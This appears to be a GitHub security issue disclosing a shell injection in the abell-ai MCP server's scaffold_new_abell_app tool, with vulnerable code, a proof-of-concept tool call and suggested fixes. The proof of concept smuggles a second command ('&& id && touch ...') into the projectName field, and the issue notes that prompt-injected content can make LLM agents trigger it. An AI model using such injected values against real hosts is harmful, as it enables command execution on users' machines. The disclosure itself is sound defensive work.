abelljs / abelljs/abell

Security: scaffold_new_abell_app projectName shell injection in MCP server (Critical RCE)

Abierto
#191 0 comentarios 0 reacciones 0 asignados Ver en GitHub
Lenguaje dominante
TypeScript
Estrellas
443
Forks
36
Métricas de merge de PR
Sin PR fusionados en 30 d

Descripción

## VULNERABILITY

The MCP tool `scaffold_new_abell_app` interpolates the caller-supplied `projectName` parameter directly into a Node.js `execSync` template literal that runs via `/bin/sh -c`. The handler creates a `projectSlugName` variable to sanitize the project name at line 67 but the raw `projectName` is what gets used in the shell command at lines 85–88. The slug variable exists as evidence of intent-to-sanitize but is never substituted in. Any MCP client — or an LLM agent with access to the tool — can supply a crafted project name to execute arbitrary OS commands on the host running the MCP server.

### Vulnerable Code

```typescript
// Line 67 — sanitized variable created but never used in command
const projectSlugName = projectName.toLowerCase().replace(/ |_/g, '-');

// Lines 85-88 — raw projectName interpolated into shell string
execSync(
`npx -y create-abell@latest ${projectName} --installer ${installer} --template default`,
{ stdio: 'inherit', cwd }
);
```

`execSync(string)` in Node.js passes the string to `/bin/sh -c`, so shell metacharacters in `projectName` are interpreted by the shell. The `z.string()` schema constraint provides no sanitization.

---

## PROOF OF CONCEPT

Attacker-supplied tool call (any MCP client or LLM session with the tool in context):

```json
{
"tool": "scaffold_new_abell_app",
"arguments": {
"projectName": ". && id && touch /tmp/PWNED_ABELL #",
"cwd": "/tmp",
"installer": "skip"
}
}
```

This interpolates to:

```sh
/bin/sh -c "npx -y create-abell@latest . && id && touch /tmp/PWNED_ABELL # --installer skip --template default"
```

The `&&` causes `id` and `touch /tmp/PWNED_ABELL` to execute. The trailing `#` comments out the rest of the original command.

**Verification run (sandboxed, no network):**

```
uid=1000(yin) gid=1000(yin) groups=1000(yin),4(adm),24(cdrom),27(sudo)...
/tmp/PWNED_ABELL: exists = true
```

---

## IMPACT

Any user running `abell-ai` as an MCP server exposes their host to arbitrary OS command execution via the `scaffold_new_abell_app` tool. Since MCP tools are typically invoked by LLM agents, a prompt-injected payload in a project file or web content can trigger this without any direct user interaction. The shell inherits the MCP server process's credentials — typically the developer's own user account.

npm package `abell-ai@0.0.9` ships this as the published release. Anyone installing via `npx abell-ai` or adding it to their MCP config is immediately vulnerable.

---

## SUGGESTED FIX

**Option 1 (minimal — use the slug variable that was already created):**

```typescript
// Line 67 already creates projectSlugName — use it:
execSync(
`npx -y create-abell@latest ${projectSlugName} --installer ${installer} --template default`,
{ stdio: 'inherit', cwd }
);
```

**Option 2 (preferred — eliminate shell interpretation entirely):**

```typescript
import { execFile } from 'child_process';
import { promisify } from 'util';
const execFileAsync = promisify(execFile);

await execFileAsync('npx', [
'-y', 'create-abell@latest', projectSlugName,
'--installer', installer,
'--template', 'default'
], { cwd });
```

`execFile` (or `spawn` with `shell: false`) passes arguments as an array, bypassing the shell entirely — no interpolation, no injection surface.

**Option 3:** Add `z.string().regex(/^[a-z0-9][a-z0-9-]*$/).max(100)` schema validation on `projectName` AND switch to `execFile`.

---

## REFERENCES

- Vulnerable file: https://github.com/abelljs/abell/blob/e51235bfa0bc5ec74a5cea1e4c76986575bd47c9/packages/abell-ai/src/mcp.ts#L85-L88
- npm package: https://www.npmjs.com/package/abell-ai
- Node.js docs — `execSync` string-form vs `execFile`: https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback

Guía de contribución

Abrir la guía de contribución

Evaluación

Este issue todavía no se ha evaluado.

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.